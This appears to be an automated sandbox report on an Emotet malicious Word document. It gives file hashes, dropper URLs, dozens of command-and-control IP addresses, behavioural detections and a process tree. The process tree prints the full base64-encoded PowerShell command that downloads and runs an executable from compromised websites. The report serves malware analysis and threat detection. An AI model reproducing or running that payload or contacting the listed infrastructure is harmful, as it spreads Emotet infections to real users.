Analysis
- max time kernel
135s - max time network
137s - platform
windows10_x64 - resource
win10 - submitted
13/08/2020, 16:19
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e2_8c8c709e2b7cfd3dce74062f2564bef84cafcc329cbfcafbc2c056c35cc38c50_2020-08-13__161701._doc.doc
Resource
win7v200722
General
- Target emotet_e2_8c8c709e2b7cfd3dce74062f2564bef84cafcc329cbfcafbc2c056c35cc38c50_2020-08-13__161701._doc.doc
- Size 230KB
- Sample200813-c95c8g6px6
- SHA256 8c8c709e2b7cfd3dce74062f2564bef84cafcc329cbfcafbc2c056c35cc38c50
- MD5 d21f837498984fe8f314202ecdeda353
- SHA1 8c98e198cfb665d2a889a035eaa4f7d4e09ed904
- SHA512 c95503775c878f8b23d9b2c6a53c4ce04c1e8389329084709b0bb8d53ff32c6fde10816cbbf515d15698ee84816ab0b3c2f6a731cbaca480b529383898bd32ea
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://yang-agency.com/cgi-bin/s27pi_rbt70_kp/
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exe.dropper
http://blog.takipcikedi.com/wordpress/5h0y_21l_5h58lfleyt/
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exe.dropper
https://doooone.com/wp-includes/k5p7_g710j_3och/
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exe.dropper
http://bitaghamari.com/wp-admin/svph4_7g82w_km6sh8v76/
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exe.dropper
http://dae.dte.hcmut.edu.vn/alfacgiapi/9lw_j7q5_9cm6kkdet8/
Extracted
-
emotet
-
174.102.48.180:80
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192.210.135.126:8080
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67.205.85.243:8080
-
47.146.32.175:80
-
116.203.32.252:8080
-
189.212.199.126:443
-
72.12.127.184:443
-
180.92.239.110:8080
-
103.86.49.11:8080
-
181.230.116.163:80
-
157.147.76.151:80
-
74.120.55.163:80
-
121.124.124.40:7080
-
79.98.24.39:8080
-
142.105.151.124:443
-
167.86.90.214:8080
-
24.179.13.119:80
-
62.138.26.28:8080
-
165.165.171.160:8080
-
74.208.45.104:8080
-
2.58.16.85:7080
-
91.211.88.52:7080
-
183.101.175.193:80
-
95.179.229.244:8080
-
107.185.211.16:80
-
157.245.99.39:8080
-
83.169.36.251:8080
-
104.236.246.93:8080
-
110.145.77.103:80
-
190.160.53.126:80
-
190.55.181.54:443
-
87.106.136.232:8080
-
76.27.179.47:80
-
104.131.11.150:443
-
168.235.67.138:7080
-
153.126.210.205:7080
-
47.153.182.47:80
-
87.106.139.101:8080
-
209.182.216.177:443
-
51.75.33.120:8080
-
85.152.162.105:80
-
169.239.182.217:8080
-
46.105.131.79:8080
-
209.143.35.232:80
-
152.168.248.128:443
-
201.173.217.124:443
-
204.197.146.48:80
-
199.101.86.142:8080
-
114.146.222.200:80
-
113.160.130.116:8443
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70.167.215.250:8080
-
176.111.60.55:8080
-
47.146.117.214:80
-
47.144.21.12:443
-
200.41.121.90:80
-
137.59.187.107:8080
-
93.51.50.171:8080
-
139.130.242.43:80
-
85.105.205.77:8080
-
109.74.5.95:8080
-
37.139.21.175:8080
-
62.75.141.82:80
-
5.39.91.110:7080
-
222.214.218.37:4143
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185.94.252.104:443
-
24.137.76.62:80
-
203.153.216.189:7080
-
24.43.99.75:80
-
41.60.200.34:80
-
78.24.219.147:8080
-
61.19.246.238:443
-
104.131.44.150:8080
-
119.198.40.179:80
-
37.187.72.193:8080
-
139.59.60.244:8080
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5.196.74.210:8080
-
181.211.11.242:80
-
209.141.54.221:8080
-
173.62.217.22:443
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83.110.223.58:443
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81.2.235.111:8080
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95.213.236.64:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1056 608 powersheLL.exe 67 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2144-12-0x0000000002250000-0x000000000225C000-memory.dmp emotet behavioral2/memory/2144-12-0x0000000002250000-0x000000000225C000-memory.dmp emotet behavioral2/memory/2544-15-0x0000000003E30000-0x0000000003E3C000-memory.dmp emotet behavioral2/memory/2544-15-0x0000000003E30000-0x0000000003E3C000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 15 1056 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 2144 Dwfm.exe 2544 rasctrs.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\win32u\rasctrs.exe Dwfm.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3832 WINWORD.EXE 3832 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1056 powersheLL.exe 1056 powersheLL.exe 1056 powersheLL.exe 2544 rasctrs.exe 2544 rasctrs.exe 2544 rasctrs.exe 2544 rasctrs.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1056 powersheLL.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3832 WINWORD.EXE 3832 WINWORD.EXE 3832 WINWORD.EXE 3832 WINWORD.EXE 3832 WINWORD.EXE 3832 WINWORD.EXE 3832 WINWORD.EXE 3832 WINWORD.EXE 3832 WINWORD.EXE 2144 Dwfm.exe 2144 Dwfm.exe 2544 rasctrs.exe 2544 rasctrs.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1056 wrote to memory of 2144 1056 powersheLL.exe 75 PID 1056 wrote to memory of 2144 1056 powersheLL.exe 75 PID 1056 wrote to memory of 2144 1056 powersheLL.exe 75 PID 2144 wrote to memory of 2544 2144 Dwfm.exe 76 PID 2144 wrote to memory of 2544 2144 Dwfm.exe 76 PID 2144 wrote to memory of 2544 2144 Dwfm.exe 76
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8c8c709e2b7cfd3dce74062f2564bef84cafcc329cbfcafbc2c056c35cc38c50_2020-08-13__161701._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3832
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABNAFQAUwBLAFQAdQBpAGQAPQAnAEoAWQBVAFgAQQB5AGYAcQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAcgBJAHQAWQBgAFAAcgBPAFQAbwBgAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARABXAEYAQwBGAG8AdgBjACAAPQAgACcARAB3AGYAbQAnADsAJABYAEwAVgBIAEsAagBvAHQAPQAnAFoAUgBTAEcAWQBiAHMAawAnADsAJABEAEQARQBIAEQAdQB0AHcAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABEAFcARgBDAEYAbwB2AGMAKwAnAC4AZQB4AGUAJwA7ACQAWQBaAFUASwBZAGsAZgB2AD0AJwBXAFAATABaAFcAZgByAHYAJwA7ACQAVABPAEgAVQBSAGEAdQBoAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdAAuAFcARQBiAEMATABJAEUATgBUADsAJABOAFAAUABSAEkAYQBrAGgAPQAnAGgAdAB0AHAAOgAvAC8AeQBhAG4AZwAtAGEAZwBlAG4AYwB5AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AcwAyADcAcABpAF8AcgBiAHQANwAwAF8AawBwAC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgB0AGEAawBpAHAAYwBpAGsAZQBkAGkALgBjAG8AbQAvAHcAbwByAGQAcAByAGUAcwBzAC8ANQBoADAAeQBfADIAMQBsAF8ANQBoADUAOABsAGYAbABlAHkAdAAvACoAaAB0AHQAcABzADoALwAvAGQAbwBvAG8AbwBuAGUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGsANQBwADcAXwBnADcAMQAwAGoAXwAzAG8AYwBoAC8AKgBoAHQAdABwADoALwAvAGIAaQB0AGEAZwBoAGEAbQBhAHIAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcwB2AHAAaAA0AF8ANwBnADgAMgB3AF8AawBtADYAcwBoADgAdgA3ADYALwAqAGgAdAB0AHAAOgAvAC8AZABhAGUALgBkAHQAZQAuAGgAYwBtAHUAdAAuAGUAZAB1AC4AdgBuAC8AYQBsAGYAYQBjAGcAaQBhAHAAaQAvADkAbAB3AF8AagA3AHEANQBfADkAYwBtADYAawBrAGQAZQB0ADgALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAATABKAFkATwBnAHIAeQA9ACcARQBVAEEARQBZAHQAbQBnACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAFoARwBVAFQAawB0AHMAIABpAG4AIAAkAE4AUABQAFIASQBhAGsAaAApAHsAdAByAHkAewAkAFQATwBIAFUAUgBhAHUAaAAuACIAZABPAGAAdwBuAEwAbwBBAGQAYABGAGkAbABlACIAKAAkAFEAWgBHAFUAVABrAHQAcwAsACAAJABEAEQARQBIAEQAdQB0AHcAKQA7ACQAQQBOAE4ASwBDAG8AYwByAD0AJwBHAEEAVgBOAE8AYwB1AGQAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABEAEQARQBIAEQAdQB0AHcAKQAuACIATABgAGUATgBHAHQASAAiACAALQBnAGUAIAAzADgANgAwADcAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQARABEAEUASABEAHUAdAB3ACkAOwAkAEEASwBOAFMAWgBoAGEAYgA9ACcAUgBSAFIATgBQAHQAcQBpACcAOwBiAHIAZQBhAGsAOwAkAEUASgBVAFYAVwBjAGwAeQA9ACcAUgBGAFgASwBVAHYAawBnACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE4AVQBPAEQAQgBuAHcAYQA9ACcATwBNAEYAVQBYAHUAYQB5ACcA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1056 -
C:\Users\Admin\AppData\Local\Temp\Dwfm.exe"C:\Users\Admin\AppData\Local\Temp\Dwfm.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2144 -
C:\Windows\SysWOW64\win32u\rasctrs.exe"C:\Windows\SysWOW64\win32u\rasctrs.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2544
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